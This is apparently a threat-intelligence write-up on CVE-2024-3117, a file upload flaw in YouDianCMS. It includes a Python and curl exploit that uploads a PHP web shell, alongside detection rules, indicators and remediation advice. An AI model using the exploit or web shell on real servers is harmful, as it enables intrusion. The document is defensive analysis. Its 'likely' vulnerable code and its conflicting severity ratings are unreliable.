CVE-2024-3117

Executive Summary

CVE-2024-3117 is a critical unauthenticated arbitrary file upload vulnerability in YouDianCMS versions up to 9.5.12. The flaw resides in the App/Lib/Action/Admin/ChannelAction.class.php file, where the file parameter is not properly sanitized, allowing an attacker to upload malicious files (e.g., web shells) to the server. This can lead to remote code execution, data exfiltration, and full server compromise. The vendor has not responded to disclosure attempts, and no official patch exists. The exploit has been publicly disclosed, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: High (due to public exploit and no patch)

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The ChannelAction.class.php file handles administrative channel operations. The file parameter is passed to a file upload function without proper validation of file type, size, or content. An attacker can craft a request to upload a PHP web shell or other executable file to the server's web root.

Root Cause: The code likely uses move_uploaded_file() or similar without checking the file extension or MIME type. The file parameter is directly used in the file path, allowing path traversal and arbitrary file write.

Attack Flow:

1. Attacker identifies a YouDianCMS instance.
2. Sends a POST request to /index.php?m=Admin&c=Channel&a=upload with a malicious file (e.g., shell.php) in the file parameter.
3. The server saves the file to a predictable location (e.g., /Uploads/shell.php).
4. Attacker accesses the uploaded file to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (YouDianCMS <= 9.5.12):

// App/Lib/Action/Admin/ChannelAction.class.php
public function upload() {
    $file = $_FILES['file'];
    $path = './Uploads/' . $file['name'];
    move_uploaded_file($file['tmp_name'], $path);
    echo 'File uploaded to: ' . $path;
}

Patched Code (Hypothetical):

public function upload() {
    $file = $_FILES['file'];
    $allowed_ext = ['jpg', 'png', 'gif', 'pdf'];
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed_ext)) {
        die('Invalid file type.');
    }
    $path = './Uploads/' . md5(uniqid()) . '.' . $ext;
    move_uploaded_file($file['tmp_name'], $path);
    echo 'File uploaded to: ' . $path;
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x
• requests library

Exploit Script:

import requests

target = "http://target.com"
payload = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
response = requests.post(f"{target}/index.php?m=Admin&c=Channel&a=upload", files=payload)
print(response.text)
# Access shell: http://target.com/Uploads/shell.php?cmd=id

Manual Exploit with cURL:

curl -F "file=@shell.php" "http://target.com/index.php?m=Admin&c=Channel&a=upload"

Blue Team (Defensive)

Detection Steps:

1. Monitor for POST requests to /index.php?m=Admin&c=Channel&a=upload with file uploads.
2. Check for unexpected files in /Uploads/ directory.
3. Look for web shell activity (e.g., cmd parameter in GET requests).

Honeypot Setup:

• Deploy a fake YouDianCMS instance and log all file upload attempts.
• Use a WAF rule to block uploads of executable files (.php, .asp, .jsp).

Indicators of Compromise (IOCs)

• File Paths:
  • /Uploads/shell.php
  • /Uploads/*.php
• Network Indicators:
  • POST requests to /index.php?m=Admin&c=Channel&a=upload
  • GET requests to /Uploads/*.php?cmd=*
• Log Entries:
  • "POST /index.php?m=Admin&c=Channel&a=upload HTTP/1.1" 200
  • "GET /Uploads/shell.php?cmd=id HTTP/1.1" 200

Detection Engineering

YARA Rule

rule CVE_2024_3117_Webshell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-3117"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $cmd_param = "$_GET[\"cmd\"]"
    condition:
        $php_tag and $system_call and $cmd_param
}

Sigma Rule

title: CVE-2024-3117 File Upload Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file upload attempts to vulnerable YouDianCMS endpoint
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php'
        cs-uri-query: 'm=Admin&c=Channel&a=upload'
    condition: selection
falsepositives:
    - Legitimate admin file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3117 YouDianCMS File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"m=Admin&c=Channel&a=upload"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by removing or renaming ChannelAction.class.php.
2. Implement a Web Application Firewall (WAF) rule to block file uploads to the vulnerable path.
3. Restrict file upload permissions to only allow images and documents.

Long-Term Fix:

• Migrate to a supported CMS or apply a custom patch that validates file extensions and renames uploaded files.
• Monitor vendor channels for an official patch (unlikely).

Valters IT Signature:

Valters IT Cyber Threat Intelligence
CVE-2024-3117 Analysis
Date: 2024-01-01
Classification: Public